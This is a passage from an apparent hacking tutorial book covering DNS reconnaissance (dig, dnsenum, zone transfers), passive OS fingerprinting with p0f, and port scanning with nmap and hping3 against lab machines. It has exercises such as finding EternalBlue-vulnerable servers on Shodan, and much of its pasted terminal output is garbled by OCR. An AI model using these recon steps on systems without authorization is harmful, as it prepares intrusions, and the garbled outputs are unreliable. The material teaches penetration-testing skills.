<pre>root@kali:~# dig microsoft.com ns ; &lt;&lt;&gt;&gt; DiG 9.8.4-rpz2+rl005.12-P1 &lt;&lt;&gt;&gt; microsoft.com ns ;; global options: +cmd ;; Got answer: ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 60956 ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 8</pre>								
;; QUESTION SECTION: ;microsoft.com.	IN NS							
;; ANSWER SECTION: microsoft.com. 9 microsoft.com. 9 microsoft.com. 9 microsoft.com. 9	00468 IN NS 00468 IN NS 00468 IN NS 00468 IN NS 00468 IN NS	ns4.msft.net. nsl.msft.net. ns2.msft.net. ns3.msft.net.						
;; ADDITIONAL SECTION: nsl.msft.net. 9 nsl.msft.net. 2 ns2.msft.net. 4 ns2.msft.net. 6 ns3.msft.net. 2 ns3.msft.net. 1	23 IN AAAA 19625 IN AAAA 28984 IN AAAA 669 duet IN AAAA 22 IN AAAA	A 208.84.0.53 2620:0:30::53 A 262:0:2:53 A 262:0:2:53 the 193.221:113.53 A 2620:0:34::53						
ns4.msft.net. 4 ns4.msft.net. 5 ;; Query time: 34 msec ;; SERVER: 75.75.75.75#53	19723 IN A 56978 IN AAA 3(75.75.75.75)	208.76.45.53 A 2620:0:37::53						

As you can see in the screenshot above, we were able to pull the nameserver records for microsoft.com.

If we want the mail server records for microsoft.com, we can query the DNS server with:

kali> dig microsoft.com mx

Where **mx** indicates, we are looking for the mail server records.

<pre>root@kali:~# dig microsoft.com mx</pre>	
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> microsoft.com mx ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 504 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0	
;; QUESTION SECTION: ;microsoft.com. ;; ANSWER SECTION: microsoft.com. .outlook.com. 461 IN MX 10 microsoft-com.mail.protection	
;; Query time: 18 msec ;; SERVER: 75.75.76.76#53(75.75.76.76) ;; WHEN: Tue Feb 24 20:56:08 2015 ;; MSG SIZE rcvd: 85	

As you can see in the screenshot above, we successfully pulled the mail server records for microsoft.com

Finally, we can attempt to do a zone transfer (in DNS terminology, a zone transfer is an update to DNS records) on microsoft.com by entering:

kali> dig @75.75.75.75 microsoft.com axfr

where @75.75.75.75 is the IP address of the DNS server, and axfr is the command for a zone transfer.



Note that zone transfers are malicious and only possible on improperly configured DNS servers. In our case here, the DNS server would not allow us to do a zone transfer.

#### Bruteforcing Subdomains using dnsenum.pl

Within Kali, we have several DNS information gathering tools. dnsenum is Perl script and an excellent tool for automating the extraction of all the DNS information we have been extracting above manually and more.

Open a terminal and enter dnsenum at the prompt.

Poor@kal1-2019:~# onserum				
Smartmatch is experimental at /usr/bin/dnsenum line 698.				
Smartmatch is experimen	tal at /usr/bin/dnsenum line 698.			
dnsenum VERSION:1.2.4				
Usage: dnsenum [Options	] <domain></domain>			
[Options]:				
Note: the brute force -	f switch is obligatory.			
GENERAL OPTIONS:				
dnsserver <server< th=""><th></th></server<>				
	Use this DNS server for A, NS and MX queries.			
enum	Shortcut option equivalent tothreads 5 -s 15 -w.			
-h,help	Print this help message.			
noreverse	Skip the reverse lookup operations.			
nocolor	Disable ANSIColor output.			
private	Show and save private ips at the end of the file domain_ips.txt.			
subfile <file></file>	Write all valid subdomains to this file.			
<pre>-t,timeout <value></value></pre>	The tcp and udp timeout values in seconds (default: 10s).			
threads <value></value>	The number of threads that will perform different queries.			
-v,verbose	Be verbose: show all the progress and all the error messages.			
GOOGLE SCRAPING OPTIONS				
-p,pages <value></value>	The number of google search pages to process when scraping names,			
	the default is 5 pages, the -s switch must be specified.			
-s,scrap <value></value>	The maximum number of subdomains that will be scraped from Google (default 15).			
BRUTE FORCE OPTIONS:				
<pre>-f,file <file></file></pre>	Read subdomains from this file to perform brute force.			

Note that dnsenum's syntax is relatively simple:

```
dnsenum.pl [Options] <domain>
```

In our case, we are using dnsenum to attempt a dictionary attack on the subdomains of kali.org with the DNS file supplied by the script developers (you can use your own if you like). To do this, we need to use the -f switch and the absolute path to our list of potential subdomain names

(/usr/share/dnsenum/dns.txt) and then the domain we want to search for subdomains.

In this case, let's use www.kali.org.

We would write our command like this below:

kali> dnsenum.pl -f /usr/share/dnsenum/dns.txt kali.org

As you can see below, once we hit **Enter**, dnsenum begins by enumerating the nameservers and mail servers for www.kali.org.

<pre>root@kali-2019:~# dnsenum -f /usr Smartmatch is experimental at /us Smartmatch is experimental at /us dnsenum VERSION:1.2.4</pre>	r/share/dnsenum/ r/bin/dnsenum l r/bin/dnsenum l	dns.tx ine 69 ine 69	t kali. 8. 8.	lorg	
kali org					
Kati.org					
Host's addresses:					
kali.org.	60	IN		192.124.24 <mark>9.1</mark> 0	
Name Servers:					
nsl.no-ip.com.	11842	IN	А	194.62.181.53	
ns3.no-ip.com.	10611	IN	A	204.16.255.53	
ns4.no-ip.com.	10973	IN	A	204.16.254.53	
ns5.no-ip.com.	17082	IN		194.62.181.53	
ns2.no-ip.com.	12491	IN		194.62.180.53	
Mail (MX) Servers:					
altl.aspmx.l.google.com	108	TN	Α	209-85-144-27	
alt3.aspmx.l.google.com.	107	IN	A	64.233.186.26	
alt2.aspmx.l.google.com.	107	IN	A	74,125,141,26	
aspmx.l.google.com.	205	IN	A	172.217.214.26	
alt4.aspmx.l.google.com.	293	IN		74.125.193.26	

It then tries to brute force subdomains using the list of potential subdomains we provided and the Class C netranges.

archive kali org	60	тм	CNAME	hera kali org	
hera kali org	60	TN	A	192 99 45 149	
backup kali org	60	TN	CNAME	nolyhymnia kali org	
polybympia kali org	60	TN		54 39 103 103	
bugs kali org	60		A .	192 124 249 169	
forums kali org	60	TN	^	192.124.249.109	
http kali org	60	TN	CNAME	192.124.249.12 hebe kali org	
hebe kali org	60			192 99 200 113	
mail kali org	60		CNAME	apollo kali org	
apollo kali org	60			22 220 21 82	
ald kali org	60	TN	CNAME	torpsichoro kali org	
ternsichere kali era	60		A	54 20 40 227	
pap kali org	60		A	167 114 101 149	
pan.kati.org.	60		A	107.114.101.148	
www.kati.org.	00	IN	~	192.124.249.10	
kali ann class C nathannas.					
Kall.org class c netranges:					
E 51 23 10 20 24					
54.39.49.0/24					
54.39.103.0/24					
167.114.101.0/24					
192.99.45.0/24					
192.99.200.0/24					
192.124.249.0/24					

Finally, it attempts a zone transfer unsuccessfully.



#### Querying the Target's DNS Cache to Determine its Antivirus Software

Now that we understand a bit about how we can cultivate DNS service for information, let's look at another more sophisticated use of DNS for providing information on the target. I've included this technique not because of its practicality, but for its ingenuity and creativity—two essential attributes of a master hacker.

As a hacker, it is often critical to know what antivirus software the target is running. Unless you have created or bought a zero-day exploit, it will likely be detected and quarantined by the antivirus software. As a result, your days, weeks, or months of work will be lost.

Not all antivirus software is the same! Some are good, and some are bad. Some detect certain malware, and some detect others. As a result, an attack may work against one antivirus and not against another. If we can know ahead of time what antivirus the target is using, we can tailor an attack that evades that software.

When firms have their own DNS server, that server caches every DNS query from every employee. If we can examine the DNS cache, we can see every domain that has been queried. This means if we can examine the DNS cache, we can determine which AV software domain (Symantec, McAfee, Kaspersky, etc.) has been queried and which has not. The target company will be using one or all of the AV domains in the list. We don't know which, but we do know that AV companies not on the list are NOT being used. That information alone can help us determine which attack works.

As this is more of an intermediate-to-advanced reconnaissance technique, I will simply leave you with a link where you can learn more (<u>https://www.hackers-arise.com/single-post/2016/05/23/How-to-Use-Reconng-to-Determine-the-Targets-AV-Software-1</u>).

#### Summary

The DNS system can be a repository of a significant amount of information about a target, including the nameserver, mail server, and many subdomains. Many of these subdomains may not be obvious, and the target company may believe that they are unviewable because there are no links to them. Very often, these subdomains may contain confidential and valuable information to the hacker.

#### pOF or Passive Operating System Detection

As part of the reconnaissance of our targets, one of the most critical pieces of information we need is the target operating system. I hope it is apparent that a MacOS exploit does not work against a Windows system and vice versa. What may not be obvious is that a Windows Vista exploit may not work against a Windows 7 system. In many cases, a Windows 7 SP1 exploit may not work against a Windows 7 SP2. The point I am trying to make is that knowing the operating system of the target is critical to our success. Without this information, we are likely wasting our time and effort.

In this lesson, we look at a tool known as p0f. The name is an acronym for passive operating system fingerprinting.p0F relies upon an understanding of how each of the operating system TCP/IP stacks implement and build their packets to determine the OS of the sender. In this way, it is totally passive. We don't need to touch the target system with packets or anything else. This tool enables us to determine the target operating system without sending any packets or probes to the target.

#### **TCP/IP Basics**

There are many ways to determine the operating system of a target. For instance, specific ports and services are only open on Windows systems (1433 for SQL Server and 137 for NetBios) and some ports only on Linux systems (631 for IPP). This kind of fingerprinting will at least divide the world into those two broad camps (Windows v. Linux), but it is a pretty limited method. First, some Windows systems don't have those ports (1433 and 137) open, and some Linux systems don't have that port (631) open. Second, sometimes knowing the broad camp of the OS is not enough information. We need a more refined understanding of the OS version, sometimes down to the service pack (SP) level.

Some tools throw many probes at the system and then gauge the response to determine the operating system. These tools are very noisy and not very stealthy, but in general, work well if their fingerprints are up-to-date. What if we wanted to determine the OS without ever touching the system and risking being detected? Can we do that?

The answer is a definitive "Yes"! A few years back, Michal Zalewski developed the tool p0F or the passive operating system fingerprinting.

pOF and other passive fingerprinting tools rely upon the fact that different operating systems have different TCP/IP stacks and therefore create these packets slightly differently. This means that we can take any packet traveling around the Internet and if we know what we are looking for, determine what operating system sent it.

The four critical fields of the TCP/IP headers that are crucial for OS identification are:

- TOS
- TTL
- DF (flags)
- Window size

In the diagram below, I have circled these fields in the IP header (TOS, TTL, and DF) and the TCP header (Window Size).

				L		
	Version	Version IHL Type of Service		Total Length		Length
5		Identif	ication	Flags Fragment Offset		
eade	Time	to Live	Protocol = 6	$\sum$	Header C	Checksum
Ηd			Source	Address		
			Destinati	on Addres	s	
_	Options Padding			Padding		
	Source Port			Destination Port		
TCP	Sequence Number					
	Acknowledgme <u>nt Number</u>					
	Data UIA IP IR SIF R C S S Y I Window			dow		
	Checksum Urgent Pointer			Pointer		
	TCP Options Padding				Padding 🖌	
•	TCP Data					

Let's take a look at each of these fields.

First, the Type of Service in the IP header or TOS. That field can have four (4) different values:

- Minimize Delay
- Maximize Throughput
- Maximize Reliability
- Minimize Monetary Cost

Second, the **Flags** field. This field shouldn't be confused with the TCP flags (S,A,F,U,P,R). The TCP stack sets this field as either D or M, don't fragment or more fragments. This is the way that the IP protocol signals to the receiver whether more packet fragments are on the way. If it gets packets with the M flag set, the receiver can hold the packets and reassemble them into a complete packet.

Third, **TTL** or Time to Live. This field indicates how many hops the packet should make before it expires. Windows systems usually have this set to 32 and Linux systems to 64, although it does vary.

Finally, **let's examine window** or window size. This field defines how much buffer the TCP stack has to buffer packets. Remember that one of the beauties of TCP is that it has **"flow control**." If one side is sending packets too quickly for the other to process, the sender can buffer the packets. Window size defines the size of that buffer. This field alone carries more information about the identity of the sender than any other field in either header. Nearly every operating system has a different window size.

Now that we understand what p0f does, let's put it to work on some packets.

p0F is pre-installed in Kali, so no need to download and install it. p0F is not available from the GUI in Kali, but it is built-in and is accessed via the command line. Since its binaries (executable files) are in the /usr/bin directory and /usr/bin is in our PATH variable, we can access it from the command line from anywhere in Kali. Let's take a look at its help file by typing (please note that the middle character is the

kali> p0f -h

number zero 0, not the letter o):



As you can see above, **p0f** has a brief, but complete help file. The first stanza addresses the network interface options, the second stanza the operating mode, and the third stanza the performance options.

In its simplest form, you can run p0f by simply typing the command followed by an -i (interface) and then the name of the interface you want p0f to listen on—in this case—eth0:

kali> p0f -i eth0

When we start **p0f**, it begins listening on the designated interface and then decoding the information from each packet as they appear.

Let's try navigating to our Kali system (you may want to start the Apache web server) from our Windows 7 system with a Firefox browser.

#### p0F



As you can see, at first p0f opens, then loads 320 signatures, listens on eth0, and then enters the main event loop. When it sees a packet at the interface, it begins to decode it. First, it tells us what IP address and port it is coming from and the TCP flag that is set (SYN). Next, it tells us what OS fits the fingerprint for this packet (Windows 7 or 8). In the next stanza, it tells us what the link is (Ethernet or modem) as well as the MTU (1500).



If we scroll down a bit, we see the information above describing the browser we used (Firefox 10.x or newer), the language (English) and its raw signature.

From the same system, if we use Microsoft's Internet Explorer 9 to send packets to our Kali, you can see that p0f fingerprints the browser as "MSIE 8 or newer."



Let's try sending packets from another Kali system. Kali is built on Debian Linux with a Linux kernel. Depending upon what version of Kali you are running, the kernel is either 3.12 or 3.14. If p0f is accurate, it should be able to fingerprint this packet as coming from a Linux system.



As you can see in the screenshot above, p0f **was** able to determine that the OS was "Linux 3.11 and newer." Pretty accurate, wouldn't you say?

p0F can also determine the uptime of the target system. This can be key in determining how long it has been since the system admins patched the target system (security patches usually require a reboot of the system). If we scan down the output from the Kali decoding, we can see that p0f has determined that the system has been up 6 days, 16 hours and 16 minutes. Very helpful information!



#### Summary

Before beginning the attack, it is crucial to learn as much as possible about the target to increase the chance of success. There are numerous tools we can use to gain information without ever contacting the target from sources that have previously collected this information. These are known as passive reconnaissance techniques or sometimes referred to as open source intelligence (OSINT). Google, Netcraft, Shodan, DNS all have valuable information that can assist in tailoring your attack. A tool like p0F is capable of determining the target operating system, browser, user agent and uptime, if we can entice the target to our website. All of this information will be critical in determining which approach will most likely be successful in our attack.

#### **Exercises:**

- 1. Use Shodan.io to find Windows Server 2008 systems that might be vulnerable to the NSA's EternalBlue exploit.
- 2. Use dnsenum to find the nameserver, mail server and subdomains of your favorite website.
- 3. Try using p0f to determine the operating system and other information of someone visiting your website.
- 4. Look up the technologies used by your favorite website with netcraft.com.
- 5. Try out some of the Google Hacks at exploit-db.com and see whether you can find any valuable information.

# 6

### **Active Reconnaissance**

Only a fool goes to battle without adequate reconnaissance

Master OTW



## In the Chapter 5 on passive reconnaissance, we gathered vast amounts of information about

**potential targets**. In this next phase of reconnaissance, we use active techniques to acquire even more information about a specific target.

In the active reconnaissance phase, we try to determine what ports are open on the target (open ports are an indication of services running on the system, such as port 445 for SMB) and the firewall. In some

cases, certain ports must be open for an exploit to work on a system. In addition, by scanning the ports we can not only determine what ports are open, closed, and filtered (a firewall is filtering), but often determine the operating system (ports 135, 139, and 1433 almost invariably indicate a Windows operating system, for instance) and the applications on the system (ports 1433, SQL Server; port 3306, MySQL; port 1521, Oracle database; for example).

Active reconnaissance uses specially crafted packets that we send to the target to illicit a response. Depending upon how the target responds, our tools can determine:

- 1. Whether a port is open, closed or filtered;
- 2. Which services and what version is installed;
- 3. What operating system is installed;
- 4. The time since the last reboot (uptime).

#### Nmap

Whether you are an aspiring master hacker, network engineer, or security engineer, there is one tool you need to be familiar with:nmap. Nmap began as a simple, modest port-scanning tool with the ability to send TCP, UDP, or ICMP packets to a host and its ports to elicit a response. Then, based upon the host's response, nmap determines whether the port is open. Over the years, it has evolved to become a powerful scanning tool with even some exploitation capabilities. For instance, nmap can be used for:

- (1) OS detection,
- (2) service and version detection,
- (3) determining the OS uptime,
- (4) evading firewalls,
- (5) doing DNS queries and subdomain search,
- (6) conducting a Denial of Service (DoS) attack, or
- (7) scanning for vulnerabilities and a whole host of other reconnaissance tasks.

#### Nmap in the Mass Media

Matrix fans (who isn't a Matrix fan?) may remember in *Matrix Reloaded* that Trinity used to find TCP Port 22 open on the power plant's computer system (SCADA) and crack the password to give Neo physical access.

Yes, that's our beloved nmap below in a scene from the *Matrix Reloaded* with Trinity at the keyboard.



You will likely find nmap being used in other hacker movies and shows, such as *Mr. Robot* and *Blackhat* among others, if you watch closely.

Many infosec researchers have overlooked nmap in favor of more recent tools, but only at their peril. Nmap has become a versatile reconnaissance tool with scripting capabilities.

#### **History of Nmap**

Nmap was developed in 1997 and released by Gordon Lyon (aka Fyodor Vaskovich) as a free and opensource port and network scanner in *Phrack* magazine (*Phrack* was among the very first hacker publications and many notable articles were first published there). Nmap has gone through numerous updates and upgrades with the current version 7.7 (Fall 2019) having been released about one year ago. Originally developed for Linux, nmap has been ported to Windows, MacOS, and BSD.

Nmap was originally a command-line tool, but numerous GUI's have been developed for use by the command-line challenged. These include:

(1) Zenmap;
 (2) NmapFE;
 (3) Xnmap

Here, we will work without a net. Everything will be from the command line nmap, but all of these techniques can be applied to any of the nmap GUI's.

#### Nmap help

Let's look at the nmap help file for some clues on how to use it.

kali > nmap -help



The help screen runs for nearly three pages. I have captured only the first page, as it has the essential information we need here now.

Notice the usage statement on the second line:

Usage: nmap [Scan type(s)] [Options] {target specification}

Despite all the options that are available to us, running an nmap scan is quite simple.

#### **Basic TCP Scan**

Let's use Metasploitable as our target system to start. The first step is to find the IP address of our target. In this case, it is 192.168.0.157 (yours will likely be different. Run ifconfig on Metasploitable to find yours).

The simplest, fastest and most reliable nmap scan is the TCP scan. It sends TCP packets to attempt a TCP three-way handshake (SYN-SYN/ACK-ACK) on each port it scans. If the target system completes the three-way handshake, the port is considered open. The key nmap option is **-sT** or **s**can TCP.

We simply add it as an option after the nmap command and then follow with the IP address.

nmap -sT <IP>

Such as:

kali > nmap -sT 192.168.0.157

root@kali_20	19 ⋅# nman				
Starting Nma 7.76 (https://mma.org.) at 2019-07-05 13:59 MDT					
Starting Minap 7.70 ( https://hinap.org / at 2019-07-05 15.55 Mbr					
Host is up (	Has $f \in In$ (0.000675 latency)				
Not shown · 9	77 closed ports				
PORT STA					
21/tcn one	n ftp				
22/tcp ope	n ssh				
23/tcp ope	n telnet				
25/tcp ope	n smtp				
53/tcp ope	n domain				
80/tcp ope	n http				
111/tcp ope	n rpcbind				
139/tcp ope	n netbios-ssn				
445/tcp ope	n microsoft-ds				
512/tcp ope	n exec				
513/tcp ope	n login				
514/tcp ope	n shell				
1099/tcp ope	n rmiregistry				
1524/tcp ope	n ingreslock				
2049/tcp ope	n nfs				
2121/tcp ope	n ccproxy-ftp				
3306/tcp ope	n mysql				
5432/tcp ope	n postgresql				
5900/tcp ope	n vnc				
6000/tcp ope	n X11				
6667/tcp ope	n irc				
8009/tcp ope	n ajp13				
8180/tcp ope	n unknown				
MAC Address: 08:00:27:9A:19:5F (Oracle VirtualBox virtual NIC)					
Nmap done: 1	IP address (1 host up) scanned in 13.61 seconds				

After a few seconds, nmap provides output to the computer screen (stdout) that includes each port it has results for, the protocol, the port state (open, closed, filtered) and the **default** service running on this port (please note that nmap is NOT telling you what service is running on the port; it is simply telling you the **default** protocol for that port. Most services can run on any port). From this scan, we can see that numerous ports and services are likely running on this system (like any tool, nmap is not perfect. You may receive erroneous reports).

This is a great start to our reconnaissance of this system. We now know the target has numerous services that may be vulnerable to our attacks.

What we do NOT know include:

- (1) What UDP ports are running;
- (2) What operating system is running;
- (3) What actual services and versions are running on those ports.

#### **Basic UDP Scan**

Now, let's see if we can find the open UDP ports. The nmap command to find UDP ports is nearly identical, except we replace the T in the command with U (UDP).

Now our UDP scan looks so:

kali > nmap -sU 192.168.0.157

```
ali-2019:~# nmap -sU 192.168.0.<u>157</u>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-05 14:03 MDT
Nmap scan report for 192.168.0.157
Host is up (0.00075s latency).
Not shown: 993 closed ports
PORT
        STATE
                       SERVICE
53/udp
         open
                       domain
         open filtered dhcpc
68/udp
69/udp
        open|filtered tftp
111/udp
                       rpcbind
        open
137/udp
        open
                       netbios-ns
138/udp open/filtered netbios-dgm
2049/udp open
                       nfs
MAC Address: 08:00:27:9A:19:5F (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1089.42 seconds
```

Generally, UDP scans take much longer than TCP scans, as the mechanism that UDP uses for signaling a closed port is slightly different than TCP, and is more ambiguous. In my case, the TCP scan took 13.61 seconds, while the UDP scan took 1089.42 seconds, a factor of nearly **100x longer**.

Be patient with UDP.

#### **Single Port Scan**

In some cases, we may only want to know if a single port is open. For instance, we may be considering using the EternalBlue exploit against this system and we 445. Let's see whether this system has port 445 open by simply adding **-p** after the target IP address and the port number. Note that SMB is a TCP port, so we use the TCP or -sT scan.

Such as:

kali > nmap -sT 192.168.0.157 - p445

root@kali-2019:~# nmap -sT 192.168.0.157 -p445 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-05 14:24 MDT Nmap scan report for 192.168.0.157 Host is up (0.00035s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 08:00:27:9A:19:5F (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 13.14 seconds

This command directs nmap to go out and try the three-way TCP handshake on port 445. If successful, it will report the port open. As you can see above, nmap found port 445 open and presumes there is SMB (Samba if it's a Linux system) running on that port.

If we wanted to scan an entire subnet for port 445 and SMB, you could use CIDR notation for the subnet and leave everything else the same as the previous command.

kali > nmap -sT 192.168.0.0/24 -p445

<pre>root@kali-2019:~# nmap -sT 192.168.0.0/24 -p445 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-05 14:29 MDT Nmap scan report for 192.168.0.110 Host is up (0.0046s latency).</pre>
PORT STATE SERVICE 445/tcp closed microsoft-ds MAC Address: 38:F7:3D:31:71:52 (Unknown)
Nmap scan report for 192.168.0.152 Host is up (0.025s latency).
PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 70:1A:04:F4:B9:D0 (Liteon Technology)
Nmap scan report for 192.168.0.157 Host is up (0.018s latency).
PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 08:00:27:9A:19:5F (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.0.213 Host is up (0.0014s latency).
PORT STATE SERVICE 445/tcp filtered microsoft-ds MAC Address: 1C:1B:0D:EE:6F:D3 (Giga-byte Technology)
Nmap scan report for 192.168.0.234 Host is up (0.00064s latency).
PORT STATE SERVICE 445/tcp filtered microsoft-ds MAC Address: 30:E3:7A:55:3C:05 (Intel Corporate)

Now, nmap will scan every device on that subnet (255 IPs) for port 445 and report back to us. As you can see above, it found numerous hosts with port 445—some closed, some filtered, and some open.

#### Get the OS, the Services and their Versions

At this point, we only know what UDP and TCP ports are open and the default protocols that run on them. We still don't know:

- 1. The operating system,
- 2. The actual services running on those ports, and
- 3. The version of the services (different versions have different vulnerabilities).

The -A switch in nmap can help us with those remaining unknowns.

Such as;

kali > nmap -sT -A 192.168.0.157



This scan also takes longer to complete as it has much more work to do than simply scan for open ports a very deterministic process. In this scan, nmap will be probing into each open port with specially crafted packets and then, by evaluating the differences in the response, determine the service and its version. It uses a similar less-deterministic process for determining the operating system. As I outlined in Chapter 5 on **p0f**, each operating system TCP/IP stack places slightly different values in header fields. By reading those fields, we can make highly accurate estimate of the underlying target operating system. As we can see above, nmap went to each of the open ports, sent packet probes and makes a highly reliable estimate of the service, the service version and other critical information regarding the service, such as commands and even vulnerabilities. Note the response for port 21 FTP above (running vsftpd 2.3.4) and port 25 SMTP (running Postfix smtpd).

As we scan down the results, we can see port 80 (running Apache httpd 2.2.8), port 3306 (running MySQL 5.0.51a)...

...and then all the way at near the bottom we can see nmap's estimate of the underlying operation system (Linux 2.6.x).



#### **Nmap Scan Windows 7**

Now let's use nmap to scan our Windows 7 system to see what ports are open on it. Let's use the TCP scan (-sT) with service and operating system (-A) fingerprinting.

kali > nmap -sT -A 192.168.0.114



Note that nmap found numerous ports open on my Windows 7 system. For our purposes here, the most important findings are port 445 with SMB running (microsoft-ds) and it correctly identified the operating system as Windows 7 2008 | 8.1 (those are all operating system variations of the same build by Microsoft). My system has some ports open that yours may not. That is to be expected.

#### Wrap-Up

With just a few nmap commands, we were able to learn a great amount about the devices on our network, including:

- 1. TCP ports,
- 2. UDP ports,
- 3. Whether port 445 is open on our entire network,
- 4. The operating system of the target,
- 5. Which services and their versions are running on those ports.

Pretty good for little work or knowledge!

#### **Hping3 for Active Reconnaissance**

Previously, we used the ubiquitous and powerful nmap for port scanning in this active reconnaissance stage of our pentest/hack. Although lesser-known and lesser-utilized, hping3 is a powerful and versatile scanning tool for doing active reconnaissance. In this section, we will explore some of the wide-ranging capabilities of hping3 to find key information about our target that could prove useful at later stages.

Hping3 is often referred to as a "*packet crafting tool*." That's because it has the capability of *creating just about any type of packet*, both RFC (Request for Comment. These are the specifications of how protocols are supposed to work) compliant and non-RFC compliant. If you can imagine a packet, hping3 can create it!

Hping3 can create TCP, UDP, ICMP, and RAW IP packets. This enables us to create an almost infinite variety of packets that we can use to get past IDSs, firewalls and scan systems behind them.

Unlike nmap, though, hping3 requires a bit more user input to be effective. For instance, when we scan with nmap, nmap will interpret the results for us. On the other hand, hping3 will give us raw packet responses and we need to do the interpretation ourselves. This is probably one of the primary reasons hping3 is not as popular as nmap for scanning, but its versatility makes it a valuable tool to have in the active reconnaissance toolbox.

#### Hping3 Help

Let's begin by getting the help screen for hping3. We can do this by typing;

```
kali > hping3 -h
```

When we do so, hping3 responds with along screen of options and switches. Because of the length, I have broken it into two screenshots.

root@kali-2019.~# hning3 -h				
usage: hping3 host [options]				
-hhelp show this help	show this help			
-vversion show version				
-ccount packet count				
-iinterval wait (uX for X microseconds, for example -i u1000)				
fast alias for -i u10000 (10 packets for second)				
faster alias for -i u1000 (100 packets for second)				
flood sent packets as fast as possible. Don't show replies.				
-nnumeric numeric output				
-qquiet quiet				
-Iinterface interface name (otherwise default routing interface)				
-Vverbose verbose mode				
-Ddebug debugging info				
-zbind bind ctrl+z to ttl (default to dst port)				
-Zunbind unbind ctrl+z				
beep beep for every matching packet received				
Mode				
default mode TCP				
-0rawip RAW IP mode				
-1icmp ICMP mode				
-2udp UDP mode				
-8scan SCAN mode.				
Example: hpingscan 1-30,70-90 -S www.target.host				
-9listen listen mode				
IP				
-aspoof spoof source address				
rand-dest random destionation address mode. see the man.				
rand-source random source address mode, see the man.				
-tttl ttl (default 64)				
-N10 10 (default random)				
-WWinid use win* 1d byte ordering				
- r - rel relativize io fielo (to estimate nost traffic)				
- 1 Trag Split packets in more Trag. (may pass weak act)				
- xmore rrag set more rragments rtag				
- y contrag set don't fragment flag				
meter set virtual meter implies frag if packet size s meter				
- mmtu set virtuat mtu, impriesirag il packet size > mtu				
G regulate produces BECOPD PAULE (default 0.000), dig tos netp				
strict source routing and record route				
The support of the set the set of				

As you can see in the screenshot above, there are numerous switch options with hping3 and this is just a tiny fraction. I'd like you to note of few here.

- -c count
- -i wait X number seconds
- -flood flood the target with packets

- -q quiet
- -a spoof the IP address
- -rand-source send packets with random source IP addresses
- -f fragment the packets
- -x set the more fragments flag in the IP header
- -y set the don't fragment flag in the IP header

Please also note that the default mode of hping3 is TCP packets. Unlike nmap that defaults to sending an ICMP ping, which can often be blocked by firewalls and gateways.

ICMP				
-Cicmptype icmp type (default echo request)				
-Kicmpcode icmp code (default 0)				
force.icmp.send.all.icmp.types(default send.only supported types)				
inter the set activity address for TCMP endirect (default 0.0.0)				
icmp to Alize for icmp icmptuo 13 (TCMP timestann)				
icon addr. Alias for -icon -icon -icon -icon - icon				
improved Addas for -remproved in other address subject mask)				
upp (fcp				
-sbaseport base source port (default random)				
-pdestport [+][+] <port> destination port(default 0) ctrl+z inc/dec</port>				
-kkeep keep still source port				
-wwin winsize (default 64)				
-0tcpoff set fake tcp data offset (instead of tcphdrlen / 4)				
-Qseqnum shows only tcp sequence number				
-bbadcksum (try to) send packets with a bad IP checksum				
many systems will fix the IP checksum sending the packet				
so you'll get bad UDP/TCP checksum instead.				
-Msetseq set TCP sequence number				
-Lsetack set TCP ack				
-Ffin set FIN flag				
-Ssvn set SYN flag				
-Rrst set RST flag				
-P push set PUSH flag				
-Aack set ACK flag				
-II IIrra set IBG flag				
-X Ymas set X unused flag (0x40)				
-Y				
-trevitode use last trast flags as evit code				
analysis and the TCP MSS and ion with the given value				
the timestamp enable the TCP timestamp entities to give value				
d data data size (default is 0)				
file data size (default is 0)				
-e Sign add Signature				
- j J J J J J J J				
-J print dump printable characters				
-Bsate enable 'sate' protocol				
-uend tett you whenrite reached EUF and prevent rewind				
-1 traceroute traceroute mode (implies bind and ttt 1)				
tr-stop Exit when receive the first not ICMP in traceroute mode				
tr-keep-ttl Keep the source IIL fixed, useful to monitor just one hop				
tr-no-rtt Don't calculate/show RTT information in traceroute mode				
ARS packet description (new, unstable)				
apd-sendSend the packet described with APD (see docs/APD.txt)				

The screenshot above shows us even more options. I'd like to draw your attention to the following:

- -p destination port,
- -Q get the TCP sequence number,
- --tcp-timestamp gets the TCP timestamp and converts it into days, hours and minutes.

Also note that we can set any of the TCP flags (S,A,F,P, R, U) as well as the XMAS (-X) scan (flags P,U,F set).

#### Using Hping3 in Default Mode for Port Scanning

At its most basic level, hping3 is a port scanner similar to nmap. The syntax is similar, but the output is dissimilar. Unlike nmap, hping3 does not return a consolidated output, but instead returns the specifications of the response packet. Let's take a look what happens when we try to hping3 a Windows 7 system on port 80. Here, let's use the SYN (-S) flag. This scan is similar to the nmap -sS <IP> -p 80 scan.

```
kali > hping3 -S 192.168.1.116 -p 80
```

	4 00
root@kal1-2019:~# nping3 -5 192.168.0.11	.4 -p 8⊎
HPING 192.168.0.114 (eth0 192.168.0.114)	: S set, 40 headers + 0 data bytes
len=46 ip=192.168.0.114 ttl=128 DF id=18	57 sport=80 flags=RA seq=0 win=0 rtt=6.8 ms
len=46 ip=192.168.0.114 ttl=128 DF id=18	58 sport=80 flags=RA seq=1 win=0 rtt=5.9 ms
len=46 ip=192.168.0.114 ttl=128 DF id=18	59 sport=80 flags=RA seq=2 win=0 rtt=4.9 ms
len=46 ip=192.168.0.114 ttl=128 DF id=18	60 sport=80 flags=RA seq=3 win=0 rtt=3.2 ms
len=46 ip=192.168.0.114 ttl=128 DF id=18	61 sport=80 flags=RA seq=4 win=0 rtt=3.1 ms
len=46 ip=192.168.0.114 ttl=128 DF id=18	62 sport=80 flags=RA seq=5 win=0 rtt=2.9 ms
len=46 ip=192.168.0.114 ttl=128 DF id=18	63 sport=80 flags=RA seq=6 win=0 rtt=2.2 ms
